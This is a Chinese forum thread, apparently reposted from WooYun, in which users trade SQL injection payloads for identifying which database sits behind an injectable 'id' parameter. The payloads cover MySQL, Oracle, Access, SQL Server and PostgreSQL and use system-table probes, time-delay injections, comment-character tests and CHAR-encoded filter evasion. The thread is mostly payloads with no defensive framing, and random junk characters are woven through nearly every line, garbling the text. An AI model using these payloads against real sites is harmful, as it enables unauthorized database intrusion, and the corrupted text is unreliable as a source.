一个注射点如何最快速确认是什么类型数据库9 T, V8 _1 ~( p4 U% H/ t, R* y
xsser (十根阳具有长短!!) | 2013-02-05 12:36: x3 M1 O9 _2 B1 P5 [3 }- u$ j
假设这么一个注射点:1 R/ ^1 M9 e5 l: P
show.html?id=2
5 T1 U% }7 N4 g v. o0 lmysql:id=2 and version()>0
7 K( e$ M3 N6 J- M* Goracle:id=2 and '1'||'1'='11
1 |- f/ {' @1 U其他的欢迎补充
* x H, p! r4 ? l! o( k1#
% |1 C! N4 O) t; v2 C! pupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:470 l! N8 @4 F5 W z
Access:, a0 @. G- C( ~' g3 {6 l& ~
aNd aSc(cHr(97))=97) S6 Y! u; b* y9 T2 J6 b
and exists(select id from MSysAccessObjects)5 q$ K7 g. R& y; V
SQL Server:" I) V* H+ _ @, T9 j6 B
and exists(select id from sysobjects). R- s3 A: u6 L; c2 n
and length(user)>0" G* J6 P$ L+ ^9 @0 `. J8 a5 ~
MySQL:
( l* M$ Y: r( x, c- S7 eand length(user())>0
3 }. o8 h0 g4 [, u+ S2#% R2 H; @: k- }# N% q
xsser (十根阳具有长短!!) | 2013-02-05 12:48
5 |0 e& K9 V2 `9 F' `& j@upload 如果这些都不是呢…
" t3 w6 p9 L6 G3## f( v3 `1 r4 h; N2 \; d
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
0 y0 X6 W5 g/ W4 [$ v. Q+ r@xsser 不快速的,延时注入& K o5 w& @4 \7 T
不知道这样写对不对
/ `' D7 }$ d" v, |. }mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
* H A( ?! [5 R0 Y! h* `mysql:id=2 and select benchmark(1e8,current_date());
4 j% t6 e! ]/ [0 I6 O4#$ g3 c9 `' m# J E
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:105 {) h1 y' t5 [; f' u
最快的貌似是看报错信息
. b4 t `# ?+ p, [oracle error8 ]' S9 E6 e" @* ]( b
mssql error
F$ s1 n( p3 ?mysql error, z, k: r% F: R9 B& y0 O/ {- C r
5#
; @5 w7 }3 t" G; J: U1 oNimda (你们都是坏银~) | 2013-02-05 13:143 k8 M. V% P1 r6 X* j! Q
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)- s4 ^1 Z" [: i7 M/ l( i" `
6#
4 b0 E/ |' S: c+ x" oupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:218 d. } V( s2 @" O
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
3 K/ `5 [8 B( E! m“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:4 O( F h3 I3 k g( U# P& q! v# }
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
. \6 }. D' a' U% D7 B! c% a4 }7#2 ]) I: _8 t& D. x. s- @
_Evil (HackEnd) | 2013-02-05 13:33
% e. l: m5 O* @1 c8 G5 B5 GPostgreSQL0 b# A8 @6 y$ b4 d; u
8#
( ^0 W3 [5 i3 L7 T, i) Uupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
' {- c" v; R7 O2 M/ X$ T" b3 v- b切换编码 and 1=1
& s: ?" l$ ~7 X3 ooracle:
o9 x# z/ _# j" dCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)% ]. L, V: t( _" G: q3 U" J3 |
mssql:
! p# ]9 o% r1 S2 k b7 qCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
" r5 o5 M/ o1 x, r5 Mmysql:
2 g7 p; |/ U* G* }) Z. SCHAR(97, 110, 100, 32, 49, 61, 49). I& {! S. Y0 |: E
9#
, u0 K, K# i7 Kxsser (十根阳具有长短!!) | 2013-02-05 14:31
8 C1 e! F7 q( ] o@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
2 W( T; M" `. q# R4 H# }1 }/ Z: j10#1 r- {) e0 m5 R" n
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
6 c" u( {) S+ K5 F@xsser 是奇葩数据库类型的么?
* `+ X$ L r" q- M; y根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
1 ?5 }6 h# m* ?1.是否可以使用特定的函数来判断,该数据库特有的* K* W% G6 E7 `! e
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
# k, [7 x+ x2 A+ n7 a! d5 O3.是否可以编码查询* [; a3 O% i2 D. o+ o+ S
4.是否显可以利用错信息
" V1 j: q8 D7 e" ~' Y A5.是否存在数据库某些特性辅助判断
4 R0 J% ~6 | N5 c3 ~: a, g& O! ~# p个人见解' e) J+ v4 }" C) N* k
11#
$ D1 c+ g0 V& X: f& Y1 x3 f小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
+ s" x! @$ ?% ^2 _, w7 T已收藏,mssql可以直接看到错误提示的吧~$ y H2 V1 v# e: X, \/ H$ G
12#+ ~% o$ i. A7 U' H7 S
Passer_by | 2013-02-05 15:09
; F0 a$ \, M8 Q% h曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
* d+ N$ X7 r2 F8 ^# B1 A- ^from:http://zone.wooyun.org/content/260 |